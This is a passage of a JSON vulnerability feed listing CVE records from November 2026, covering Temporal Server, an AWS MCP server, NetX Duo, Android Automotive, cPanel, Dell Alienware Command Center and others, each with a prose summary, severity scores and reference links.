images for the affected releases. The control that keeps it unreachable is the compute provider allowlist, the dynamic configuration setting workercontroller.compute_providers.enabled. On Temporal Server 1.31.0 through 1.31.2 that allowlist does not deny by default: when the setting is unset the check is skipped and every registered compute provider is permitted, k8s included, so a stock deployment of those releases is exposed. On 1.31.3 and later 1.31 releases, and on 1.32.0 and later 1.32 releases, the allowlist denies by default, and a deployment is exposed only where k8s has been added to it. The 1.30 release line does not include the Worker Controller Instance module and is unaffected. To determine whether a deployment is affected, check the following together. The deployed Temporal Server version is in an affected range. The Worker Service is running, which it is in the default service set and therefore in a stock deployment. The effective value of workercontroller.compute_providers.enabled contains k8s, or, on 1.31.0 through 1.31.2 only, is unset; check both the global value and every namespace-constrained override, because an override can add k8s for a single namespace. And authorization is configured, meaning a real authorizer and claim mapper are in place; a deployment running with no authorizer already grants every caller unrestricted access to every namespace, so it has no namespace boundary for this to cross. Deployments that use a custom authorizer should also check whether it permits ValidateWorkerDeploymentVersionComputeConfig to callers without namespace write access. The separate per-namespace dynamic configuration setting workercontroller.enabled does not gate the affected path on any affected release.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.7,"epss":0.00477,"ranking_epss":0.41249,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/temporalio/temporal-auto-scaled-workers/pull/165","https://github.com/temporalio/temporal/pull/12843","https://github.com/temporalio/temporal/releases/tag/v1.31.5","https://github.com/temporalio/temporal/releases/tag/v1.32.2","https://www.cve.org/CVERecord?id=CVE-2026-89139"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T22:17:20","euvd":{"id":"EUVD-2026-115641","description":"Temporal Server compiles a Worker Controller Instance module, go.temporal.io/auto-scaled-workers, into its Worker Service, and that module registers a compute provider named k8s whose function is to manage workers running in a Kubernetes cluster. The k8s provider built its Kubernetes client from the client configuration supplied in the caller's request rather than from operator configuration, and building and using that client could run a command of the caller's choosing on the Worker Service host, under the account the server process runs as. Two frontend operations reach the provider. CreateWorkerDeploymentVersion requires a namespace write role. ValidateWorkerDeploymentVersionComputeConfig is registered as a read-only namespace operation, so an authenticated caller holding only a read role in a single namespace can reach the provider through it, and that route does not require a worker deployment to already exist. Execution happens while the submitted configuration is validated, so no scaling decision, task arrival, or unusual request sequence is required. Because the Worker Service process holds the persistence credentials for every namespace in the cluster and the cluster's TLS material, the consequence reaches beyond the caller's namespace to the cluster as a whole. The provider is present in the official temporal-server binaries and container images for the affected releases. The control that keeps it unreachable is the compute provider allowlist, the dynamic configuration setting workercontroller.compute_providers.enabled. On Temporal Server 1.31.0 through 1.31.2 that allowlist does not deny by default: when the setting is unset the check is skipped and every registered compute provider is permitted, k8s included, so a stock deployment of those releases is exposed. On 1.31.3 and later 1.31 releases, and on 1.32.0 and later 1.32 releases, the allowlist denies by default, and a deployment is exposed only where k8s has been added to it. The 1.30 release line does not include the Worker Controller Instance module and is unaffected. To determine whether a deployment is affected, check the following together. The deployed Temporal Server version is in an affected range. The Worker Service is running, which it is in the default service set and therefore in a stock deployment. The effective value of workercontroller.compute_providers.enabled contains k8s, or, on 1.31.0 through 1.31.2 only, is unset; check both the global value and every namespace-constrained override, because an override can add k8s for a single namespace. And authorization is configured, meaning a real authorizer and claim mapper are in place; a deployment running with no authorizer already grants every caller unrestricted access to every namespace, so it has no namespace boundary for this to cross. Deployments that use a custom authorizer should also check whether it permits ValidateWorkerDeploymentVersionComputeConfig to callers without namespace write access. The separate per-namespace dynamic configuration setting workercontroller.enabled does not gate the affected path on any affected release.","published_time":"2026-11-02T21:19:19","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"Temporal","references":["https://github.com/temporalio/temporal/releases/tag/v1.32.2","https://github.com/temporalio/temporal/releases/tag/v1.31.5","https://github.com/temporalio/temporal-auto-scaled-workers/pull/165","https://github.com/temporalio/temporal/pull/12843","https://www.cve.org/CVERecord?id=CVE-2026-89139"],"products":["Temporal Server","Temporal Server"],"vendors":["Temporal Technologies, Inc."]},"ghsa":null},{"cve_id":"CVE-2026-116635","summary":"Improper limitation of a pathname to a restricted directory in the deployment status component of the AWS Serverless MCP Server (aws-serverless-mcp-server) before v0.2.1 might allow an actor who can influence the MCP agent to read the contents of JSON files outside the intended deployment status directory. Where write access has been enabled, to create or overwrite JSON files outside that directory. This issue is reachable through directory traversal sequences or an absolute path supplied in the project name input.\n\n\n\nTo remediate this issue, users should upgrade to version v0.2.1.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":6.9,"epss":0.00313,"ranking_epss":0.24262,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-164-aws/","https://github.com/awslabs/mcp/security/advisories/GHSA-r6mm-377j-qg8m","https://pypi.org/project/awslabs.aws-serverless-mcp-server/0.2.1/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T22:17:19","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-115215","summary":"In Eclipse ThreadX NetX Duo versions 6.0 through 6.5.2.202603a, the NetX Secure DTLS server allocates a session from its fixed session pool for the first datagram from any unrecognised address and port, before the cookie exchange, and never releases a session whose handshake stalls. A remote, unauthenticated attacker can exhaust the pool with one spoofed datagram per source and deny DTLS service to legitimate clients until the application resets the sessions.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.7,"epss":0.00412,"ranking_epss":0.35509,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-3p2g-x7hh-3w4c","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/487"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T22:17:18","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-115403","summary":"In Eclipse ThreadX NetX Duo versions 6.0 through 6.5.2.202603a, built with BSD raw socket and IPv6 support, the IPv6 raw send path uses the destination-table entry it adds without checking that the add succeeded. When the destination table is full and an off-link destination is reached through a default router whose neighbour cache entry is unknown, sending on an IPv6 raw socket with header inclusion dereferences a NULL pointer; a remote sender can fill the table, for example with ICMPv6 Packet Too Big messages, and crash the sending thread.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.2,"epss":0.00324,"ranking_epss":0.25473,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-9w9h-x3fh-m3fp","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/500"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T22:17:18","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58977","summary":"In is_valid_header of timed_cache_item.c, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.","cvss":6.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.7,"cvss_v4":null,"epss":0.00147,"ranking_epss":0.03938,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/wear/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:37","euvd":{"id":"EUVD-2026-115625","description":"In is_valid_header of timed_cache_item.c, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T20:26:00","cvss":6.7,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/wear/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58925","summary":"The report details a heap Use-After-Free (UAF) vulnerability within the `android.hardware.automotive.evs-default` HAL service, stemming from unsynchronized access to an `std::unordered_map`. An unprivileged application with access to the EVS manager can trigger this UAF by making concurrent calls to `setExtendedInfo` and `getExtendedInfo`, potentially enabling code execution within the privileged HAL process.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00154,"ranking_epss":0.04535,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:36","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58926","summary":"A Use-After-Free (UAF) vulnerability exists in the EVS HAL, allowing a privileged client to free a `buffer_handle_t` while the producer thread is still using it. This race condition, triggered via `doneWithFrame` and `setMaxFramesInFlight`, enables an attacker to manipulate freed heap memory, potentially leading to the leakage of file descriptors from the EVS HAL process.","cvss":2.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":2.5,"cvss_v4":null,"epss":0.00134,"ranking_epss":0.02914,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:36","euvd":{"id":"EUVD-2026-115620","description":"A Use-After-Free (UAF) vulnerability exists in the EVS HAL, allowing a privileged client to free a `buffer_handle_t` while the producer thread is still using it. This race condition, triggered via `doneWithFrame` and `setMaxFramesInFlight`, enables an attacker to manipulate freed heap memory, potentially leading to the leakage of file descriptors from the EVS HAL process.","published_time":"2026-11-02T20:21:12","cvss":2.5,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58927","summary":"The vulnerability is a Use-After-Free (UAF) in the EVS AIDL HAL, arising from a data race on an unsynchronized `std::weak_ptr` within `EvsEnumerator::openCamera()`. Specifically, concurrent calls from a privileged UID (e.g., `AID_AUTOMOTIVE_EVS`) can cause a torn `weak_ptr` state, leading to a virtual call through a freed object's vtable at `cameraObj->getCameraInfo(&desc)`. This allows for potential arbitrary code execution within the `hal_evs_default` process.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00154,"ranking_epss":0.04535,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:36","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58930","summary":"An unprivileged application can exploit a lack of package/signature validation in SystemUI's `RemoteQCController` when resolving a hardcoded `content://` URI. This allows the attacker to squat on a specific authority if the legitimate package is absent, inject spoofed UI elements into the trusted SystemUI Quick Controls panel, and gain a Background Activity Launch (BAL) grant from SystemUI when the user interacts with the spoofed element.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00134,"ranking_epss":0.02913,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:36","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58873","summary":"In addDragDropListener of WindowManagerService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00133,"ranking_epss":0.02874,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/xr/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:35","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58915","summary":"A physical occupant on an Android Automotive OS (AAOS) Multi-User Multi-Display (MUMD) passenger display can view sensitive Heads-Up Notification (HUN) content and execute actions for a secure passenger user (User N) without authenticating. This bypasses the PassengerKeyguard because the HUN system only checks the global keyguard state, which is tied to the driver's unlocked display, and the PassengerKeyguard implementation fails to suppress HUNs or intercept action PendingIntents. Consequently, private notification data is disclosed, and user-N actions are executed without credential verification.","cvss":6.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":null,"epss":0.00142,"ranking_epss":0.03533,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:35","euvd":{"id":"EUVD-2026-115617","description":"A physical occupant on an Android Automotive OS (AAOS) Multi-User Multi-Display (MUMD) passenger display can view sensitive Heads-Up Notification (HUN) content and execute actions for a secure passenger user (User N) without authenticating. This bypasses the PassengerKeyguard because the HUN system only checks the global keyguard state, which is tied to the driver's unlocked display, and the PassengerKeyguard implementation fails to suppress HUNs or intercept action PendingIntents. Consequently, private notification data is disclosed, and user-N actions are executed without credential verification.","published_time":"2026-11-02T20:21:09","cvss":6.1,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58924","summary":"The vulnerability is a heap out-of-bounds read in the EVS HAL's `getStreamList()` method. An attacker can craft a `CameraDesc.metadata` byte array, which is parsed without validation, leading to an out-of-bounds read at an attacker-controlled offset within the HAL process's heap. The read data is then exfiltrated back to the attacker, potentially leaking sensitive information like pointers and buffer handles.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00134,"ranking_epss":0.02914,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:35","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-29508","summary":"ReadyMedia (formerly MiniDLNA) versions 1.3.0 through 1.3.3 contain a stack-based buffer overflow vulnerability that allows remote attackers to corrupt stack memory by crafting a malicious DFF audio file with an oversized PROP chunk size value that is used unvalidated to allocate a variable-length stack array and read file data into it. Attackers can place a crafted DFF file in a directory monitored by ReadyMedia to trigger automatic parsing via inotify, achieving remote code execution on unprotected builds or denial of service on hardened builds with stack protections.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":0.00718,"ranking_epss":0.53894,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://sourceforge.net/projects/minidlna/","https://www.asus.com/networking-iot-servers/wifi-routers/asus-gaming-routers/rt-ax86u/helpdesk_bios?model2Name=RT-AX86-Series-RT-AX86U-RT-AX86S","https://www.kr3bz.wtf/posts/minidlna-unbounded-vla-to-rce/","https://www.vulncheck.com/advisories/readymedia-stack-buffer-overflow-via-dff-parser"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:31","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-49903","summary":"The `ClusterRenderingService.dump()` method, accessible to processes holding `android.permission.DUMP` and `android.permission.PACKAGE_USAGE_STATS`, acts as a confused deputy. It allows attackers to write arbitrary values to `Settings.Global.OVERLAY_DISPLAY_DEVICES`, an operation normally requiring `android.permission.WRITE_SECURE_SETTINGS`, enabling persistent creation of system overlay displays and injection of key events into the cluster UI.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00144,"ranking_epss":0.03699,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:31","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-49906","summary":"An unprivileged application can bypass the `android.car.permission.CAR_DISPLAY_IN_CLUSTER` permission by registering an activity with the `android.car.cluster.NAVIGATION` category and requesting navigation app focus. The privileged `ClusterHomeSample` application, acting as a confused deputy, resolves and launches this arbitrary third-party activity on the safety-critical instrument cluster display without enforcing the necessary permission check, allowing for persistent display of potentially misleading or distracting content.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.0018,"ranking_epss":0.07628,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:31","euvd":{"id":"EUVD-2026-115616","description":"An unprivileged application can bypass the `android.car.permission.CAR_DISPLAY_IN_CLUSTER` permission by registering an activity with the `android.car.cluster.NAVIGATION` category and requesting navigation app focus. The privileged `ClusterHomeSample` application, acting as a confused deputy, resolves and launches this arbitrary third-party activity on the safety-critical instrument cluster display without enforcing the necessary permission check, allowing for persistent display of potentially misleading or distracting content.","published_time":"2026-11-02T20:21:08","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-120503","summary":"A vulnerability was detected in EchoHS GeekezBrowser up to 1.7.2/1.8.0. This affects an unknown part of the file /api/status of the component Public API. The manipulation results in information disclosure. The attack requires a local approach. The exploit is now public and may be used. Upgrading to version 1.8.1 is able to mitigate this issue. The patch is identified as 9317a89aa0fd2715d9c2bd27bdbb52b5d228dd9e. Upgrading the affected component is recommended.","cvss":1.9,"cvss_version":4.0,"cvss_v2":1.7,"cvss_v3":3.3,"cvss_v4":1.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/EchoHS/GeekezBrowser/","https://github.com/EchoHS/GeekezBrowser/commit/9317a89aa0fd2715d9c2bd27bdbb52b5d228dd9e","https://github.com/EchoHS/GeekezBrowser/issues/60","https://github.com/EchoHS/GeekezBrowser/releases/tag/v1.8.1","https://vuldb.com/cve/CVE-2026-120503","https://vuldb.com/submit/1027894","https://vuldb.com/vuln/429883","https://vuldb.com/vuln/429883/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:30","euvd":{"id":"EUVD-2026-115627","description":"A vulnerability was detected in EchoHS GeekezBrowser up to 1.7.2/1.8.0. This affects an unknown part of the file /api/status of the component Public API. The manipulation results in information disclosure. The attack requires a local approach. The exploit is now public and may be used. Upgrading to version 1.8.1 is able to mitigate this issue. The patch is identified as 9317a89aa0fd2715d9c2bd27bdbb52b5d228dd9e. Upgrading the affected component is recommended.","published_time":"2026-11-02T20:30:18","cvss":4.8,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/429883","https://vuldb.com/vuln/429883/cti","https://vuldb.com/cve/CVE-2026-120503","https://vuldb.com/submit/1027894","https://github.com/EchoHS/GeekezBrowser/issues/60","https://github.com/EchoHS/GeekezBrowser/commit/9317a89aa0fd2715d9c2bd27bdbb52b5d228dd9e","https://github.com/EchoHS/GeekezBrowser/releases/tag/v1.8.1","https://github.com/EchoHS/GeekezBrowser/"],"products":["GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser","GeekezBrowser"],"vendors":["EchoHS"]},"ghsa":null},{"cve_id":"CVE-2026-16305","summary":"Local privilege escalation in `SmartUpdate.exe` and `SmartExecute.exe` in INFINITT Healthcare Co., Ltd. INFINITT PACS allows a local low-privileged attacker to execute arbitrary commands with administrator privileges via modification of a world-writable `execlist.txt` command manifest that is processed during application updates.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00259,"ranking_epss":0.17716,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.infinittna.com/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:30","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-116767","summary":"CVE-2026-116767 is an improper input handling vulnerability\nin Secure Access servers prior to 14.61. Authenticated attackers can cause a\npersistent denial of service.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.1,"epss":0.00226,"ranking_epss":0.13339,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116767"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:25","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-116768","summary":"CVE-2026-116768 is a missing length validation vulnerability\nin Secure Access servers prior to 14.61. Authenticated attackers can cause a\npersistent denial of service when connecting for the first time.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.1,"epss":0.00294,"ranking_epss":0.22057,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116768"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:25","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-116958","summary":"A flaw was found in konflux-ci. This vulnerability allows arbitrary code execution due to improper quoting of shell variables in deployment scripts. A local attacker who can supply arguments to the affected scripts could exploit this issue to trigger unintended command substitution, executing commands with the privileges of the deployment runner.","cvss":6.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.7,"cvss_v4":null,"epss":0.0013,"ranking_epss":0.02664,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-116958","https://bugzilla.redhat.com/show_bug.cgi?id=2564198"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:25","euvd":{"id":"EUVD-2026-115629","description":"A flaw was found in konflux-ci. This vulnerability allows arbitrary code execution due to improper quoting of shell variables in deployment scripts. A local attacker who can supply arguments to the affected scripts could exploit this issue to trigger unintended command substitution, executing commands with the privileges of the deployment runner.","published_time":"2026-11-02T20:59:48","cvss":6.7,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-116958","https://bugzilla.redhat.com/show_bug.cgi?id=2564198"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-116766","summary":"CVE-2026-116766 is an improper input handling vulnerability\nin the Secure Access server versions between 13.0 and prior to 14.61. Attackers\ncan cause a persistent denial of service of the server.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.3,"epss":0.00226,"ranking_epss":0.1334,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116766"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:24","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-105475","summary":"Improper neutralization of a NUL byte in cPanel allows remote attackers to read any mail account's calendar and contact data.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.7,"epss":0.00401,"ranking_epss":0.34367,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.cpanel.net/hc/en-us/articles/44356591132439-Security-CVE-2026-105475-Unauthenticated-Access-to-Calendar-and-Contact-Data-in-cPanel-WHM-October-20th-2026"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:22","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-105476","summary":"Improper link resolution before file access in cPanel allows remote authenticated users to write arbitrary root-owned files and escalate privileges.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":0.00531,"ranking_epss":0.44917,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.cpanel.net/hc/en-us/articles/44356595655703-Security-CVE-2026-105476-Arbitrary-File-Write-as-Root-in-cPanel-WHM-October-20th-2026"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T21:17:22","euvd":{"id":"EUVD-2026-115631","description":"Improper link resolution before file access in cPanel allows remote authenticated users to write arbitrary root-owned files and escalate privileges.","published_time":"2026-11-02T21:05:16","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"hackerone","references":["https://support.cpanel.net/hc/en-us/articles/44356595655703-Security-CVE-2026-105476-Arbitrary-File-Write-as-Root-in-cPanel-WHM-October-20th-2026"],"products":["cPanel","cPanel","cPanel","cPanel"],"vendors":["WebPros"]},"ghsa":null},{"cve_id":"CVE-2026-97718","summary":"CVE-2026-97718 Is a cross-site request forgery vulnerability\nin version 14.60 of the Secure Access server.  Because of a bypassed security control, an\nattacker can cause an admin to create an account under their control.","cvss":9.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.4,"epss":0.00361,"ranking_epss":0.29978,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-97718"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:05","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-91896","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Authentication Bypass by Spoofing vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Tampering, Denial of Service and Spoofing of Application Notifications.","cvss":3.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.9,"cvss_v4":null,"epss":0.00116,"ranking_epss":0.01627,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:04","euvd":{"id":"EUVD-2026-115458","description":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Authentication Bypass by Spoofing vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Tampering, Denial of Service and Spoofing of Application Notifications.","published_time":"2026-11-02T20:08:53","cvss":3.9,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91897","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Certificate Validation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Arbitrary Code Execution and Denial of Service.","cvss":6.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.4,"cvss_v4":null,"epss":0.00083,"ranking_epss":0.00219,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:04","euvd":{"id":"EUVD-2026-115453","description":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Certificate Validation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Arbitrary Code Execution and Denial of Service.","published_time":"2026-11-02T20:00:51","cvss":6.4,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91898","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Arbitrary Code Execution and Elevation of Privilege.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":0.00293,"ranking_epss":0.21906,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:04","euvd":{"id":"EUVD-2026-115432","description":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Arbitrary Code Execution and Elevation of Privilege.","published_time":"2026-11-02T19:54:58","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91899","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Verification of Cryptographic Signature vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege and Arbitrary Code Execution.","cvss":6.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.4,"cvss_v4":null,"epss":0.00088,"ranking_epss":0.00354,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:04","euvd":{"id":"EUVD-2026-115454","description":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Verification of Cryptographic Signature vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege and Arbitrary Code 